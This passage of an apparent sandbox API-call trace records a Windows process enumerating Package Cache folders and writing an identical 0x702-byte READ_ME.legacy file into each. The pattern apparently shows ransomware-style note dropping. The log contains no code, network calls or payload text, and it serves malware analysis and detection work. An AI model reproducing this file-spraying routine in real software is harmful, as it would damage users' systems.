cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.051] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.052] CloseHandle (hObject=0x5bc) returned 1 [0111.052] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0111.052] SetLastError (dwErrCode=0x0) [0111.052] GetLastError () returned 0x0 [0111.052] SetLastError (dwErrCode=0x0) [0111.052] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0111.052] SetLastError (dwErrCode=0x0) [0111.052] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0111.052] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0111.052] SetLastError (dwErrCode=0x0) [0111.052] GetLastError () returned 0x0 [0111.053] SetLastError (dwErrCode=0x0) [0111.053] GetLastError () returned 0x0 [0111.053] SetLastError (dwErrCode=0x0) [0111.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b580 [0111.053] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.054] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.055] CloseHandle (hObject=0x5bc) returned 1 [0111.055] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0111.055] SetLastError (dwErrCode=0x0) [0111.055] GetLastError () returned 0x0 [0111.055] SetLastError (dwErrCode=0x0) [0111.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.055] SetLastError (dwErrCode=0x0) [0111.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0111.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0111.056] SetLastError (dwErrCode=0x0) [0111.056] GetLastError () returned 0x0 [0111.056] SetLastError (dwErrCode=0x0) [0111.056] GetLastError () returned 0x0 [0111.056] SetLastError (dwErrCode=0x0) [0111.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0111.056] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.057] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.058] CloseHandle (hObject=0x5bc) returned 1 [0111.058] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0111.058] SetLastError (dwErrCode=0x0) [0111.058] GetLastError () returned 0x0 [0111.058] SetLastError (dwErrCode=0x0) [0111.058] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.059] SetLastError (dwErrCode=0x0) [0111.059] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0111.059] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0111.059] SetLastError (dwErrCode=0x0) [0111.059] GetLastError () returned 0x0 [0111.059] SetLastError (dwErrCode=0x0) [0111.059] GetLastError () returned 0x0 [0111.059] SetLastError (dwErrCode=0x0) [0111.059] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e6e8 [0111.059] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.063] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.064] CloseHandle (hObject=0x5bc) returned 1 [0111.065] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0111.065] SetLastError (dwErrCode=0x0) [0111.065] GetLastError () returned 0x0 [0111.065] SetLastError (dwErrCode=0x0) [0111.065] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.065] SetLastError (dwErrCode=0x0) [0111.065] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0111.065] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0111.065] SetLastError (dwErrCode=0x0) [0111.065] GetLastError () returned 0x0 [0111.065] SetLastError (dwErrCode=0x0) [0111.065] GetLastError () returned 0x0 [0111.065] SetLastError (dwErrCode=0x0) [0111.065] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e878 [0111.065] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.066] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.067] CloseHandle (hObject=0x5bc) returned 1 [0111.068] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0111.068] SetLastError (dwErrCode=0x0) [0111.068] GetLastError () returned 0x0 [0111.068] SetLastError (dwErrCode=0x0) [0111.068] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.068] SetLastError (dwErrCode=0x0) [0111.068] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0111.068] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0111.068] SetLastError (dwErrCode=0x0) [0111.068] GetLastError () returned 0x0 [0111.068] SetLastError (dwErrCode=0x0) [0111.068] GetLastError () returned 0x0 [0111.068] SetLastError (dwErrCode=0x0) [0111.068] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ec60 [0111.069] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.070] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.071] CloseHandle (hObject=0x5bc) returned 1 [0111.071] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0111.071] SetLastError (dwErrCode=0x0) [0111.071] GetLastError () returned 0x0 [0111.071] SetLastError (dwErrCode=0x0) [0111.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.071] SetLastError (dwErrCode=0x0) [0111.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0111.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0111.071] SetLastError (dwErrCode=0x0) [0111.071] GetLastError () returned 0x0 [0111.071] SetLastError (dwErrCode=0x0) [0111.071] GetLastError () returned 0x0 [0111.071] SetLastError (dwErrCode=0x0) [0111.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e3c8 [0111.072] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.073] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.074] CloseHandle (hObject=0x5bc) returned 1 [0111.074] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0111.074] SetLastError (dwErrCode=0x0) [0111.074] GetLastError () returned 0x0 [0111.074] SetLastError (dwErrCode=0x0) [0111.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.074] SetLastError (dwErrCode=0x0) [0111.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0111.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0111.075] SetLastError (dwErrCode=0x0) [0111.075] GetLastError () returned 0x0 [0111.075] SetLastError (dwErrCode=0x0) [0111.075] GetLastError () returned 0x0 [0111.075] SetLastError (dwErrCode=0x0) [0111.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x570d00 [0111.075] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.083] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.084] CloseHandle (hObject=0x5bc) returned 1 [0111.084] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0111.084] SetLastError (dwErrCode=0x0) [0111.085] GetLastError () returned 0x0 [0111.085] SetLastError (dwErrCode=0x0) [0111.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.085] SetLastError (dwErrCode=0x0) [0111.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0111.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0111.085] SetLastError (dwErrCode=0x0) [0111.085] GetLastError () returned 0x0 [0111.085] SetLastError (dwErrCode=0x0) [0111.085] GetLastError () returned 0x0 [0111.085] SetLastError (dwErrCode=0x0) [0111.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ead0 [0111.085] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.086] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.087] CloseHandle (hObject=0x5bc) returned 1 [0111.088] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0111.088] SetLastError (dwErrCode=0x0) [0111.088] GetLastError () returned 0x0 [0111.088] SetLastError (dwErrCode=0x0) [0111.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.088] SetLastError (dwErrCode=0x0) [0111.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0111.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0111.088] SetLastError (dwErrCode=0x0) [0111.088] GetLastError () returned 0x0 [0111.088] SetLastError (dwErrCode=0x0) [0111.088] GetLastError () returned 0x0 [0111.088] SetLastError (dwErrCode=0x0) [0111.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ba90 [0111.088] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.089] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.090] CloseHandle (hObject=0x5bc) returned 1 [0111.090] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0111.090] SetLastError (dwErrCode=0x0) [0111.090] GetLastError () returned 0x0 [0111.090] SetLastError (dwErrCode=0x0) [0111.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.090] SetLastError (dwErrCode=0x0) [0111.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0111.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0111.091] SetLastError (dwErrCode=0x0) [0111.091] GetLastError () returned 0x0 [0111.091] SetLastError (dwErrCode=0x0) [0111.091] GetLastError () returned 0x0 [0111.091] SetLastError (dwErrCode=0x0) [0111.091] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x570910 [0111.091] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.111] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.112] CloseHandle (hObject=0x5bc) returned 1 [0111.112] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0111.113] SetLastError (dwErrCode=0x0) [0111.113] GetLastError () returned 0x0 [0111.113] SetLastError (dwErrCode=0x0) [0111.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.113] SetLastError (dwErrCode=0x0) [0111.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0111.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0111.113] SetLastError (dwErrCode=0x0) [0111.113] GetLastError () returned 0x0 [0111.113] SetLastError (dwErrCode=0x0) [0111.113] GetLastError () returned 0x0 [0111.113] SetLastError (dwErrCode=0x0) [0111.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x570910 [0111.113] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.116] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.117] CloseHandle (hObject=0x5bc) returned 1 [0111.117] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0111.117] SetLastError (dwErrCode=0x0) [0111.117] GetLastError () returned 0x0 [0111.117] SetLastError (dwErrCode=0x0) [0111.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.117] SetLastError (dwErrCode=0x0) [0111.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0111.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0111.117] SetLastError (dwErrCode=0x0) [0111.117] GetLastError () returned 0x0 [0111.117] SetLastError (dwErrCode=0x0) [0111.117] GetLastError () returned 0x0 [0111.118] SetLastError (dwErrCode=0x0) [0111.118] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x570910 [0111.118] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.120] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.121] CloseHandle (hObject=0x5bc) returned 1 [0111.121] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0111.121] SetLastError (dwErrCode=0x0) [0111.121] GetLastError () returned 0x0 